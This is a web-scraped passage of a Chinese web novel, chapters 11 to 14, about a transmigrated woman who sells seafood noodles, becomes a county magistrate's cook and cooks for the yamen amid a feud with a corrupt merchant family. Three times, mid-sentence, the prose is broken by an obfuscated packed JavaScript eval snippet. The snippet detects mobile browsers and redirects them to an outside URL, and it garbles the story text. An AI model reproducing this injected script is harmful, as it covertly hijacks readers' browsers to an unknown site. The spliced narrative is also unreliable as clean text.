翌日清晨，云楚沅揣上全部家当，前往临海县的牙行，请租赁房屋的牙人为她寻一间铺子。 “小姐是要买铺子，并非租铺子是吗？”牙人略微思索，用手捋着下巴上那一撮短须，目光炯炯有神，带着一种精明能干的气质。 “怎么？不好找吗？”云楚沅忐忑不安地问道，万事俱备只欠东风，临门一脚了，总不至于寻不到做生意的店铺吧。 “非也，只是愿意整间卖出的铺子不是位置偏，就是房屋破旧，实在不是好选择啊。”牙人向她解释。 临海县繁华一点的街道，统统掌管在以徐家为首的富商手里，而且大生意都被他们垄断了，没权没势的平头老百姓怎么可能从他们手里讨到好处。 牙人没有直接拒绝，因为他最近收到了一则消息，东街一家卤味铺子被徐家的湘香馆使手段骗去了卤肉方子。 他们一家人准备搬离临海县，想要绝卖房子，唯一的要求就是不能卖给富绅，普通百姓没那个银钱来买，这云姑娘倒是个不错的接手者。 11. 县衙小厨娘 牙人告知云楚沅过几日再来一趟，说不定到时就有房屋售卖了。 云楚沅意兴盎然地来，败兴而归。没想到穿越到了古代，买房依然是个大难题。 第二日，云楚沅推着小推车来到东市她以往摆摊的位置，却发现已经被人占了。 “海鲜面！好吃的海鲜面，只要十文钱。” 这个小摊竟仿照她卖一模一样的面食，摊贩是个獐头鼠目的男子，摊位上摆放的食材和调料也和她的相像，就连海鲜面的卖相都差不多。 因他买的面便宜两文钱，倒是吸引了不少客人。 “哟，怎么不是以前的小娘子来卖面？” “嗐，我是她堂哥，她把海鲜面的活计交到我手上了。” 这不要脸面的小贩竟还打着她的旗号招揽客人，不明真相的人还以为海鲜面还是原来的味道，吃了一口才发现上当受骗。 云楚沅气不过，正想上前理论，这厮不仅利用她获利，还败坏她的口碑，以后还叫她怎么做生意。 “云小娘子！”卖包子的大娘一瞧见云楚沅气势汹汹的模样，就知晓她打算干嘛，连忙拽住她拉到了包子摊后。 “云小娘子，这几日你怎么没来摆摊？” 云楚沅死死地盯着卖面小贩，心不在焉地回道：“村里有些琐事处理。”她忙着出海和鱼塘养殖的事，确实已经有段时日没来县里卖吃食了。 包子摊的大娘忧心忡忡地劝道：“你有所不知，此人名唤孙大福，他妹妹是徐家少爷的通房丫鬟，孙大福平日里狗仗人势，没少干缺德事。云小娘子你还是忍一忍吧，省得被他报复。” 常言道，宁得罪君子，勿得罪小人。 云楚沅明白大娘的意思，这世道，有权有势的人说了算，她一介平民女子，直接对上这类人，无疑是蚍蜉撼树。 还有这徐家，真是阴魂不散啊，连府上丫鬟的亲属都自诩高人一等，那他们徐家人必然没少做伤天害理的事。 云楚沅在孙大福不远处的位置支起摊子，她今日准备了新的面食，既然不能正面和他对峙，那就凭实力打败他。 集市一隅，一口大锅立了起来，炉火烧得正旺，锅里沸腾的热水“咕嘟咕嘟”冒泡，升起的热气模糊了摊位后女子的面容，悠悠飘散向四周。 此刻的云楚沅正揉着案板上光滑的面团，反复摔打，“啪啪啪”的声响吸引了行人的目光。 云楚沅用左手托起面团，微微侧过身体，右手拿起特制的削面刀，手上的动作行云流水，刀片轻车熟路地在面团上游走，中间厚、两边薄的面片如同银鱼一般，簌簌飞至锅中。 “噗通噗通！”面片入水，溅起朵朵水花，它们在热汤中上下翻滚，似在水中翩翩起舞。 众人纷纷驻足围观，对这新鲜的面食感到好奇，未曾有人见过，这做面条还能像是杂耍一般引人入胜。 不多时，云楚沅用竹筷捞起面条，搁进粗瓷大碗之中，淋上提前做好的海鲜浇头。 一碗热气腾腾的海鲜刀削面就此诞生，这份面饱含市井烟火气，接二连三有人掏钱买面，他们端过碗去大快朵颐，脸上露出满足的表情。 云楚沅对自己做的刀削面胸有成竹，这刀削面需要硬质面团，用冷水和面，期间把控好粉与水的比例，加点盐增加面筋韧性，多次揉面和醒面来提高其延展性。 除此之外，削面的手法要快、准、狠，特制刀刃是弧形的，刀身与面团的夹角越小，面片越薄，反之愈厚。 削面时，每一刀都要压在前一刀一半之处，会形成边缘薄如蝉翼的柳叶形，右手匀速削面，左手转动面团，掌握好节奏，削出来的面片才能大小均匀。 这次的海鲜浇头比起以往，多加了云楚沅自制的蚝油，所以味道也更好了几分。 孙大福表情阴狠地盯着不远处的面摊，不由出声咒骂道：“呸，小蹄子，别得意，咱们走着瞧！” 云楚沅已经忙翻了天，不停重复着煮面、捞面的动作，哪有功夫注意到小人行径。 今日的生意比以往都要好，这表演削面的噱头博得了许多关注。 一走进东市的裴昱臣也被那空前热闹的场景吸引，他来此本是想看看百姓们有没有被先前悬挂的土匪头颅影响，顺便安抚一下人心。 不成想，一来就瞧见了如此盛况，显然死人的阴霾并没有影响商贩们的生意。 裴昱臣凑近一看，哟，还是熟人。 “云姑娘，生意不错呀。” 云楚沅抬头瞧见来人，扬起娇美的笑容，“我当是谁呢？原是咱们裴县令来体察民情来了。” 再见裴大人，他还是那样玉树临风、温文尔雅。 云楚沅动作麻利地做了一碗面，“我请大人吃新上的刀削面。” 裴昱臣从袖子里掏出铜板，放到小推车的木台上，说道：“为官之人，怎能占百姓的便宜，还请云姑娘收下。” 这人还是那样古板正经，云楚沅也不好逼人家打破原则，遂收下了铜钱。 “天哪，是裴县令，他竟也吃咱们东市的小吃。” “青天大老爷爱吃的面，味道一定不一般，我也要买一碗！” “别挤我，别挤我，让我近距离瞧瞧裴大人的英姿。” “哇，裴大人长得真英俊，不知可否婚配？” “切，就算县令大人未曾娶妻，也看不上你这卖猪肉的、五大三粗的女子。” 四周传来叽叽喳喳的议论声，不少路人都凑过来围观，再次带动了云楚沅面摊的生意。 云楚沅忙的脚不沾地，心想，这就是传说中的明星效应吗？原来古人也喜欢跟风啊。 “诸位，本官不欲造成集市拥堵，无事之人还望速速离去。”不苟言笑的裴昱臣还挺能唬人，他的一身官威吓退了不少人，方才还挤成一团的百姓们如潮水般褪去。 瞬间，云楚沅的摊位前空无一人，她都不知是该笑还是哭。 “裴大人威风凛凛，吓跑了我的食客们，该怎么负责？”云楚沅开了个玩笑，其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860565|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的面已经买的差不多了，但她就是想逗逗这小书生，想看他惊慌失措是何等模样？这就是女人的恶趣味吧，喜欢反差萌。 裴昱臣板着脸，躬身作揖，慎重其事道：“是在下的不是，还望姑娘原谅则个。” 他顿了顿，继续道：“倘若云姑娘不嫌弃，可来县衙做事，我发给你和县衙的庖子同等的月钱，但姑娘只需为我一人偶尔做两道吃食便可。” 云楚沅来了兴趣，想不到这县令大人还准备给她安排长久工作呢，而且听他的说法，还是兼职，这倒新鲜。 “大人愿给多少月钱？” 裴昱臣略微一顿，道：“自是比不上姑娘摆摊卖吃食赚得多，一月五两银子，但姑娘可住在官舍之中，还可随意取用膳房内的食材。” 云楚沅轻抚着自己小巧的下巴，觉得这个提议还不错，这样一来，她往后有了个可以临时休息的住所，不必日日在小渔村和临海县来回奔波。 况且待食肆开起来，需常住在县城，她一个人便罢了，但她放心不下楚河和楚清，肯定要把他们一同接来县城，除了楚河偶尔跟着师傅出海时，他们再回小渔村住。 这样好处多多、还不累人的兼职哪里找去？裴县令真是个实在人，她一句玩笑话，就叫他妥协至此。 云楚沅笑着点头：“好，我愿意去县衙做厨娘。” 裴昱臣松了口气，不仅是因为有了补偿对方的办法而庆幸，还因为即将会摆脱县衙里难吃的膳食而窃喜。 他提出这个提议，确实存了私心，云姑娘的好手艺是他平生少见，就连他在京城有幸光顾过一次的醉仙楼，都望尘莫及。 云楚沅收摊之后，决定跟裴昱臣回县衙，先给他露一手，做一道益精补血的海带排骨汤。 经过小火慢炖的排骨汤，呈现出一种奶白色，排骨软烂，轻轻一扯，便从骨头上脱落下来，咀嚼起来软糯而有嚼劲。 墨绿的海带吸收了浓郁的肉汤，吃起来柔软而有韧性，同时可以中和掉猪肉的油腻。 裴昱臣轻轻抿一口汤，清甜鲜美的味道瞬间在口中散开，带着一股浓郁的油脂香。 肉汤顺着喉咙滑过，从胃到心感到一阵温暖而又舒适的感觉，仿佛给全身带来滋润和抚慰。 他细细品味，甚至还能回味到排骨的肉香和海带的鲜甜，相辅相成。 “裴大人，味道如何？”云楚沅坐在一旁，托着腮看向他，这人用膳也如此善心悦目，真应了那句话，秀色可餐。对着这张俊脸，她能多用两碗饭！ “味道极好，云姑娘师承何处？莫非祖上出过御厨？”裴昱臣放下碗筷，动作优雅地用帕子轻拭嘴角。 “哈哈，也许吧。”云楚沅微微一笑，打着马虎眼。 一大碗海带排骨汤见底，这小书生看着不壮实，饭量倒是不小，也许和他练武有关，应当是那种精瘦的类型。 云楚沅的目光隐晦地扫视过他的腹部，裴昱臣尴尬地红了耳根。 云姑娘是嫌他太能吃了吗？ 12. 水晶金鱼饺 离开县衙，云楚沅去西街的宋记粮铺买了些澄面，自打上次在徐记粮铺差点被徐公子轻薄后，云楚沅就不再去徐家名下的产业。 一方面是心里膈应，另一方面还是担心遇上那个纨绔被纠缠。 虽说她与舅母的官司被裴县令处理了后续，徐家人没再揪着不放，但云楚沅可不信徐公子会轻易放弃，指不定在背后憋什么坏招呢。 一朝被蛇咬，十年怕井绳，云楚沅如今都会随身揣着一把匕首，以防再遇上歹人。 这宋记粮铺虽位置不好，光顾的客人少，但他们的粮食种类繁多、质量上乘，云楚沅觉得奇怪，这么好的粮铺怎么在临海县鲜为人知？ 云楚沅和铺子里的周掌柜交谈一番后方才得知，这宋记的主家是江南的大富商，周掌柜自幼跟着宋老爷走南闯北，现今年纪大了腿脚不好，遂决定返回家乡。 宋老爷感念他多年苦劳，出钱为他在老家临海县开了一家粮铺，定期派人送货。 临海县与江南相隔八百里，周掌柜心知跟主家这一别怕是再难相见，更别提临海县地处偏僻，交通不便，周掌柜将铺子冠上主家之姓，意在感恩戴德。 “周掌柜，你的粮铺可会遭徐家打压？”云楚沅轻声询问。 “这……实不相瞒，强龙不压地头蛇，起初确实如此。不想徐老爷从别处得知宋记粮铺的背后是江南的宋家，他才偃旗息鼓，想必我是沾了主家的光。”周掌柜感叹道。 云楚沅了然，徐家也就在这小县城称霸了，离了临海县啥也不是。 “掌柜的，你对徐家了解多少？他们莫非想要将生意做到江南？” 周掌柜抚摸着长髯：“确有此意，先前徐老爷还派人来邀我到府上做客，言语之间皆是让我为他和宋家主牵线搭桥之意。” “然后呢？周掌柜你不会应了吧。” “哪能啊，这徐家是临海县出了名的奸商，我断然不会答应，更何况宋老爷已经把宋家的生意交到大少爷手上了，哪里还有我这等老奴插话的份。” “老伯何必妄自菲薄？您离开主家后都能得此善待，想必年轻时乃宋家主的左膀右臂，能干的很。”云楚沅恭维道。 “哈哈，你这丫头，有两份眼力见儿，小老儿我年轻时帮主子管理万亩良田和众多铺子，也算是见多识广。”周掌柜笑得满脸皱纹，吹嘘起了自己的丰功伟绩，讲起生意经来头头是道。 “哇，老伯您是宋家的大管事啊，怪不得我第一眼就瞧着您不似一般人。”云楚沅恰到好处地接话，两人相谈甚欢。 云楚沅不动声色地将话题引到自己身上，“老伯，我刚当上县衙的厨娘，不知日后能在您这儿长期订购粮食吗？” 周掌柜疑惑道：“县衙应该专门有人负责采买吧。” “嗐，我是县令一人的小厨娘，自是想找更好的食材来做膳食，我踏遍临海县，就你们家的粮食价格公道、品质又好。”云楚沅杏眼含笑，她其实是在寻摸开食肆后的合作商，从米面酱醋到菜蔬荤腥，皆要长期订购，徐记自然不在她的考虑范围之内。 “哟，恕老夫眼拙，竟没看出姑娘是掌庖厨之人。”周掌柜好整以暇地重新打量了一下云楚沅，这小姑娘扶风弱柳、小家碧玉的模样太有欺骗性，实在看不出她是整日与灶台柴火打交道。 云楚沅眉眼带笑：“老伯，日后我还会开一间食肆，我看中你们宋记粮铺了，咱们可以签订契约长期合作。” 周掌柜老神在在道：“姑娘既是裴县令的人，这件事自是好说。” 与宋记粮铺的掌柜做下口头约定，云楚沅志得意满地离开了。 裴昱臣裴大县令的名头就是好用，她这算不算是多了个有权有势的靠山？虽然只是个七品芝麻小官，但也勉强够用。 回到小渔村的家中，刚申时三刻，小弟和小妹都不在家中，云楚沅收拾好院子，准备用新买来的澄面做水晶金鱼饺。 先用一锅水煮红苋菜，时间不必过长，顷刻后熄火，将红色的汁水装碗备用，红汁、澄粉和面粉拌好，加一点点盐，揉成光滑的面团后醒发一刻钟的时间，这样能使面团更柔软且有弹性。 桃粉色的面团醒发好后，切割成一个个小剂子，搓圆压扁，用擀面杖将其擀成中间厚、两边薄的圆形饺子皮。 金鱼饺的馅料是虾仁猪肉馅的，虾仁和菜蔬切成碎丁，混入猪肉沫中，酱油、盐、糖和胡椒粉调味。 云楚沅将圆皮置于掌心，中间放上一勺肉馅，将饺子皮从中间捏住，向上提起，两边对粘起。 靠前一端的皮用筷子头夹出连在一起的三个小孔，做成鱼嘴和鱼眼睛。而后捏紧中间靠后的位置，将馅料往身前推，把后面的皮按扁成扇形，用木梳压出花纹，修剪成鱼尾状。最后在鱼的两只眼睛孔里放上青豆或胡萝卜丁做装饰。 鱼的脊背处用铜镊子夹出背鳍，再在鱼眼后和靠近尾巴处的夹出腹鳍，成型的金鱼饺上蒸笼蒸半刻钟。 水晶饺子皮筋道又有弹性，内陷包含了虾仁的爽脆、猪肉的油润，以及菜蔬的清新，一口下去，口感丰富，层次分明。 金鱼饺造型精致、寓意吉祥，云楚沅想，若是再来个精致的摆盘，这道菜肴放到酒楼里去卖，不得要个好几两银子。 “哇，阿姐，这是什么？太好看了吧！”一蹦一跳进家门的云楚清一下就被吸引住了目光。 她用手臂扒住木桌边缘，下巴靠在左手背上，鼓起肉嘟嘟的腮帮，眨着灵动的眼眸，伸出右手食指，有一下没一下地虚空点着金鱼饺。 “这是金鱼虾饺，你尝尝。”云楚沅用筷子夹了一只金鱼饺递到小妹的嘴边。 云楚清没有动嘴，目不转睛地瞧着近在咫尺的虾饺，面带纠结地开口：“阿姐，小鱼太漂亮了，我舍不得吃……” “你不吃，那我可要吃了。”云楚沅收回筷子，作势要把金鱼饺塞进自己嘴里。 “啊，不要，阿姐，我吃我吃！”云楚清一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860566|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就急了，踮起脚尖去拉云楚沅的衣袖，将漂亮小鱼从虎口中拯救了出来。 酉时二刻，云家一家三口正如往常一般用饭，云楚沅吃相秀气，云楚河狼吞虎咽，唯独小妹云楚清迟迟不肯动筷，目光呆滞地盯着小碗里的金鱼饺。 “咚咚！”云楚沅看不下去，用筷子敲了敲她面前的瓷碗。 “再看也看不出朵花来，清儿，你再不吃，楚河可就全吃光了。” 云楚清回过神来，盘中的金鱼饺已经少了一大半，显然大多都进了哥哥的肚中，她赶紧夹了好几只进碗里，撅起嘴来抱怨道：“哥哥，你怎么不等我。” 云楚河抹了把嘴，大大咧咧道：“小妹，我以为你光看就能看饱呢。” 云楚清嗔怪地瞪了他一眼，小口小口地咬着金鱼饺，“我只是舍不得吃。” 云楚沅将自己碗里的金鱼饺夹给她，无奈笑笑：“往后我还会给你们做的，你要是真喜欢这小金鱼的造型，不妨把它绣到帕子上，这样你日日都能欣赏。” “阿姐，你真聪明！”云楚清眼睛一亮。 旁边的小弟撇撇嘴，小声嘀咕道：“就她那粗糙的针脚，绣出来的指不定是鱼怪呢？” 云楚清气鼓鼓地用小拳头轻捶了他一下，恼羞成怒道：“哥哥，你乱说什么呢！” “我可没乱说，你瞧瞧你帮我缝的袜子。”云楚河一把蹬掉自己的布鞋，露出来的灰袜上线头杂乱地冒出，针脚疏密不均、歪歪扭扭，看起来十分丑陋。 “噗嗤！”云楚沅捂着嘴笑出声，“哈哈，楚河，你待会把袜子脱下来，我重新帮你补一下。” 云楚清一脸尴尬：“哼，臭哥哥，我以后再也不帮你缝衣裳了！” 用过晚膳之后，云楚沅叫住想要往屋里跑的小妹，“等等走，阿姐有事要同你们说。” “什么事呀，阿姐？”云楚清乖乖坐下。 “我今日答应裴县令去做县衙的小厨娘，日后卖完吃食后可能会在县衙留宿，你们愿意跟我一起搬去县城吗？” 云楚沅正襟危坐，用平等的姿态和两人商量，她从来不会因为小弟和小妹是孩子而轻视他们，他们都有表达自己想法的权利。 云楚河先说道：“阿姐，你带小妹去吧，我隔三岔五就得跟着阿汤师傅出海，就不搬去县城住了，再者阿姐你的鱼塘也需要人看顾。” “这……你一个人怎么做饭呢？”云楚沅面露纠结。 “阿姐，我可以和师傅一起吃。” 云楚沅还是不太放心，“这样吧，我每隔一日就带小妹回来住。” “行，阿姐要是长久不回，我肯定会想念你的手艺的。”云楚河咧嘴笑，要不是跟着学打渔不能半途而废，他都想撂挑子不干跟她们一块走，转念一想，阿姐也不会喜欢不守信用之人。 “阿姐住哪，我就住哪。”云楚清没什么意见，她现在满门心思都放在绣帕子上，待会去向春香姐讨教讨教，小金鱼要怎么绣呢？ 13. 鱼丸鸡汤米线 临海县县衙坐北朝南，内设三班六房，除县令外，有负责粮司和征税的县丞、掌管户籍和巡捕的主簿、掌管缉捕和监狱的典史。 云楚沅带着小妹来到衙门时，跟门房通报一声，就有下人将她们领了进去，穿过大门和仪门，先后经过大堂、二堂、三堂来到后宅。 裴县令给她安排的住所在西院，离膳房不远，云楚沅打量了一圈寝室，雕花木床上铺着素色锦缎，干净整洁，无一丝褶皱，显然有丫鬟提前收拾过。 中央摆放着木桌椅，墙角静静立着一个矮柜，还有灯台、衣架和面盆架这等摆设，再无其他，更多用品还是等她安顿下来后，慢慢添置吧。 好奇的云楚清四处逛了一圈，问道：“阿姐，我要睡在哪里？” 云楚沅只顾着整理包袱里的衣裳，倒是忘了这件事，不用问也知道，县衙也就只会给厨娘准备一间屋子，不可能连厨娘的家属也安排妥当，又不是做慈善的。 “小妹，夜里你跟我一起睡，这床塌容得下我们两人。” “嗯，好。”云楚清没觉得有什么不妥，村子里穷困人家子嗣众多，房屋住不下甚至会有五六个孩子挤在一张塌上睡的，这县衙里的瓦房可比小渔村的茅草房强多了，最起码不会漏风。 云楚沅解开另一个包袱，取出她自己做的蚝油等调料，这可是她的秘密武器，除此之外，还有一个食盒，里面放着她早上蒸好的金鱼饺。 初来乍到，将吃食分给县衙里的小官吏和下人，一方面可以快速拉进关系，另一方面也能向他们展示自己的手艺，好叫他们知晓她可是凭本事做上厨娘的，可不要瞧她是个年纪轻轻的小女子就轻视她。 云楚沅领着小妹走出西厢，往膳房走去，一路上遇到的人都会热情地送吃食，并表明自己的身份。 半信半疑的丫鬟小厮们在尝过她的手艺后无不称赞，直言县令大人慧眼识珠。 走至靠近县令宅院的西花厅时，云楚沅碰上了负责照顾裴县令起居的小厮青竹。 “云姑娘，久仰大名，大人常常念叨着姑娘做的吃食，如今请您来府上，可算是得偿所愿了。” 青竹年纪不大，瞧着也就十三四岁的模样，脸庞圆润，笑起来眼睛眯成了一条细缝，看着讨喜极了。 云楚沅将食盒的第二层打开，里面是一盘没人动过的金鱼饺，“青竹，你将这碟金鱼饺给裴大人送去吧，感谢他给我这个机会来县衙做厨娘。” 青竹双手接了过去，瞪大双眼惊叹道：“云姑娘好手艺，这小鱼做的栩栩如生。” 云楚沅微微一笑，打开食盒的上层，递给青竹，“这里还剩一只金鱼饺，你也尝尝吧。” 青竹双眼一亮，咽了咽口水，迫不及待地伸手拿起来，一下就丢进了嘴里，鼓着腮帮子嚼了嚼，“嗯！真好吃啊，百闻不如一见，云姑娘果真如裴大人所说，手艺妙极！” 弹牙的外皮包裹着油香的肉馅，咀嚼间还能尝到虾仁脆脆的口感，让人吃了一只还想吃，青竹眼神火热地盯着手中那份要给自家大人的金鱼饺，心想，大人可真有口福啊。 青竹走在回主院的石板路上魂不守舍，差点一头撞上书房的木门。 “叩叩叩！” 敲门声响起，打断了裴昱臣提着毛笔练字的动作。 “进来。” 青竹低着头恭敬的走进书房，站到书桌前回禀：“大人，云姑娘已经在西院安顿好了，这是她特意为您准备的吃食，名叫水晶金鱼饺，另托我向您道谢，云姑娘很高兴能成为您的厨娘。” 裴昱臣将手中的毛笔搁到黑石笔架上，目光投向青竹手里端着的精致吃食上，他眉梢微动，掩饰住自己心底的迫切，不紧不慢道：“哦？既是云姑娘的一片心意，端上来我瞧瞧。” 青竹连忙将那碟金鱼饺置于桌上，脸上带有意犹未尽之色，回味道：“大人，我尝过了，味道当真一绝！” 裴昱臣拿筷子的手一顿，面无表情地瞥了他一眼，声音冷淡地说道：“我还没吃，你就先尝过了？云姑娘到底是我的厨娘还是你的？” 青竹一下子噤声，小心翼翼地偷瞄了裴昱臣两眼，结结巴巴地开口：“大……大人，我不是头一个吃的，云姑娘已经给后宅的下人都分过了。” 裴昱臣脸色一黑，他亲自请来的厨娘，如今竟是便宜了外人，他都还没吃上珍味呢，下人们先尝过了，再则这一小碟五六只蒸饺，哪里够他塞牙缝的！ “咳，以后不许他们这般没规矩，通知他们日后不许收云姑娘的吃食。” 青竹苦着一张脸应下，唉，以后怕是与云姑娘做的珍馐无缘了。 裴昱臣举止优雅地轻咬一口金鱼饺，咀嚼两口后微微顿住，脸上的表情没什么变化，叫人看不出他的情绪。 裴大人向来喜怒不形于色，如果忽略他加快了手上夹筷子的动作的话，还真叫人误以为裴大人不爱吃呢。 用完这碟蒸饺的裴县令用帕子擦了擦嘴，端起桌上沏好的茶水，轻抿一口，这一餐茶点甚合他的心意，他已经开始期待午膳了。 午时一刻，云楚沅准时抵达膳房，里面的大厨是上次有过一面之缘的朱师傅。 “云姑娘来了，上回一别，我就晓得我们会再见面的，没想到这么快。”朱师傅笑呵呵地抚摸着自己的大肚腩，这小姑娘必定和裴县令关系匪浅。 啧啧啧，给一人做吃食竟和他这位负责所有衙役膳食的疱子月钱一样，明显是醉翁之意不在酒啊，裴大人定是瞧上云姑娘了。 朱大厨自诩聪明，眼珠子一转，心想他可不是那等不识趣的人，撮合大人和心上人多相处是他该做的。 “云姑娘啊，我平日里要负责县衙里几十口人的膳食，做出来的大锅菜不合裴大人的口味，你来的正好，往后大人的一日三餐就交与你了。” 云楚沅没多想就应下了，虽然裴昱臣交代的是，偶尔给他做几道吃食打打牙祭，没有要求她负责三餐，但她每日都要用县衙的膳房，顺手为他多做一份也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860567|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不碍事。 “好，朱师傅你放心吧，只要我在县衙内，一定会亲自做裴大人的膳食。” 朱师傅欣慰地点头，裴大人已是弱冠之年，还未曾娶妻，这回有了心仪的女子，得抓住机会，近水楼台先得月，他就等着喝他们二人的喜酒了。 “朱师傅，劳烦您先帮我熬一锅鸡汤，我午膳打算做鱼丸鸡汤米线。” 膳房里泡着的粳米是朱师傅准备上锅蒸的，云楚沅取出来一小部分，倒入石磨中磨成细腻的米浆，这一步比较费劲，是膳房内的伙夫帮她磨好。 朱师傅在旁围观，出声说道：“要不我也跟着一起做米线吧，县衙里的小伙子们整日骂我做饭难吃，今日就给他们换个花样，还请云姑娘指点我两下。” “既如此，朱师傅就和我一起做吧，不过调味就由我来吧。”云楚沅将一罐蚝油放在桌上，这调料可是她自制的，就算这里人多眼杂，他们也学不去她的厨艺。 磨好的米浆用纱布筛去粗渣，再用石磨进行二次研磨，使其更加细腻顺滑，这样做出来的米线吃起来才会滑嫩。 铁盘上刷上油，倒入薄薄的一层米浆，旋转着晃动一圈，将米浆摇匀，上锅用大火蒸，待表面鼓起泡泡，便可将成型的米皮取出。 蒸熟的米皮稍微放凉后，用刀切成细长条，这便是湿米线。 接下来，云楚沅指挥着膳房的下人做起了鱼丸，取新鲜的黄花鱼处理干净，把鱼肉剁成肉糜，倒入葱姜水和盐捣成鱼泥，葱姜水多次少量地加入，每加一次就用手搅打上劲，使鱼肉将水充分吸收进去。 最后加淀粉搅拌均匀，用虎口挤出一个个小圆球，下入沸水煮熟，其色如瓷，颇有弹性。 灶上用老母鸡炖煮良久的鸡汤飘着一层黄油，用筷子夹出软烂脱骨的鸡肉，撕成鸡丝。 自制的米线和鱼丸送入金黄澄亮的鸡汤中，再烫一遍，使其吸收汤汁的鲜美，再添一把青菜，荤素搭配。 云楚沅对盛到碗里的米线进行调味，一勺酱油、一勺蚝油、半勺胡椒粉、半勺麻油，飘香四溢的鱼丸鸡汤米线馋的众人直咽口水。 朱师傅尝了一小碗，瞬间惊为天人，滑溜的米线与鲜美的鸡汤相结合，带来极致的味觉享受，浸润在美味鸡汤中的米线，吸饱了精华，一口接着一口，让人欲罢不能。 “啊，爽！”朱师傅将碗底的汤汁喝了个一干二净，将空碗重重置于桌上，他忙不迭又盛了一碗，“呼哧呼哧”地吃下。 旁边打下手的伙夫们眼神都直了，紧抿着嘴唇，不断咽口水。 “先按衙役的人数将米线盛好，若是锅里有剩，你们再分着吃吧。”云楚沅发话了，下人们手脚麻利地照做，最后锅里剩的米线一人还能吃上两口。 “哇！这是什么人间美味。” “这是我吃过最好吃的米线，太鲜了！” “啊，根本就没吃够呀，真希望以后日日都能吃到。” 下人们吃了两口米线，皆意犹未尽。 14. 口腹之欲 县衙二堂，裴昱臣正与手下的县丞、主簿等人议事，青竹走进来出声提醒：“各位大人，午膳时间到了，还请移步膳房。” 不惑之年的陈县丞摆了摆手，“唉，别催，我与县令大人还有要事相商。” 自裴昱臣上人以来，相继接手了衙门里的事宜，这临海县最大的难题就是穷，交不上税，久而久之，也得不到朝廷的重视。 在大燕朝，士绅可以免税免役，许多富商和地主会投机取巧，通过捐献、投献等方式，将田产挂在乡绅名下，借此逃避税收。 而历任县令贪腐严重，离任前销毁了账本，库房里的银钱寥寥无几，如今县衙都快入不敷出了。 裴昱臣近日对以徐家为首的富商们频频施压，催促他们按律法补齐应缴的赋税，否则就查封他们名下财产。 富商们却和稀泥，扬言上任县令在任时，他们都依法交税了，老县令贪腐和他们没关系。 这老县令早就卷铺盖走人了，留下这个烂摊子，裴昱臣上哪里去逮他？ 徐家等人就是算准了裴昱臣没有证据，只能吃了这个哑巴亏，才会如此放肆。 裴昱臣沉思良久，还是没有头绪，以目前的情况来说，需要扶持新商户与徐家分庭抗礼，可临海县其他有点名气的商户不是被徐家排挤走了，就是以徐家马首是瞻，实在是没有好人选。 脾气火爆的梁捕头握紧拳头用力锤了一下桌子，怒气冲冲道：“该死的徐家人，真该千刀万剐！” 不怪梁铺头对徐家恨之入骨，他的长姐被徐二爷玷污，当时还是个小衙役的梁捕头怒发冲冠，提刀废了徐二爷的下身。 和徐家狼狈为奸的老县令不但不为他们梁家主持公道，还将他从县衙除名，之后梁家人就遭到了徐家的报复，要不是裴昱臣上任后慧眼识珠，将梁捕头重新召回，梁家也许就家破人亡了。 向来圆滑的许主簿出声宽慰：“梁铺头何必大动肝火，有咱们裴县令在，早晚能惩治徐家人。” 陈县丞眉头微皱，这姓许的就是个墙头草，谁的势大，他就向谁倒戈。 老县令在时，他就喜欢溜须拍马，捧徐家人的臭脚，金银财宝没少收。 若非县衙里缺人手，他早就向新县令禀明，将这种卑鄙小人撵走了。 裴昱臣坐在上位的太师椅上，将众人的神情尽收眼底，县衙的这班人马是他来到这里之后委任的。 陈县丞在衙门当了多年小吏，熟悉临海县的情况，可以重用。 梁捕头是个练家子的，嫉恶如仇，但只有匹夫之勇，还需调教。 而许主簿此人是裴昱臣故意留下的，他心里清楚这人是徐家的眼线，日后利用好了，说不定能反将一军。 “咳，既已到了用午膳的时辰，诸位就先将公务放一放吧。” 裴昱臣自打青竹进来通报后，谈公事的心思便淡了几分，既然一时半刻讨论不出个所以然，倒不如享用一顿美食转变一下心情。 可不是他馋嘴，而是民以食为天，填饱肚子才能更好地处理事务。 旁人并不能从面色如常的裴昱臣看出他的想法，还以为县令大人是在体恤下属。 许主簿抓住机会就阿谀奉承：“大人爱民如子，对下属关怀备至，能在大人您的手底下做事，小人倍感荣幸。” 陈县丞的八字胡微微抖动，嘴角抽了抽，这人要是能将嘴上功夫用在办实事上，何愁没有前途啊。 姿态豪放的梁捕头架腿而坐，翘起一脚，声如洪钟：“这么着急干嘛，膳房厨子的做的吃食和猪食有什么区别，哪有人抢着吃的。” 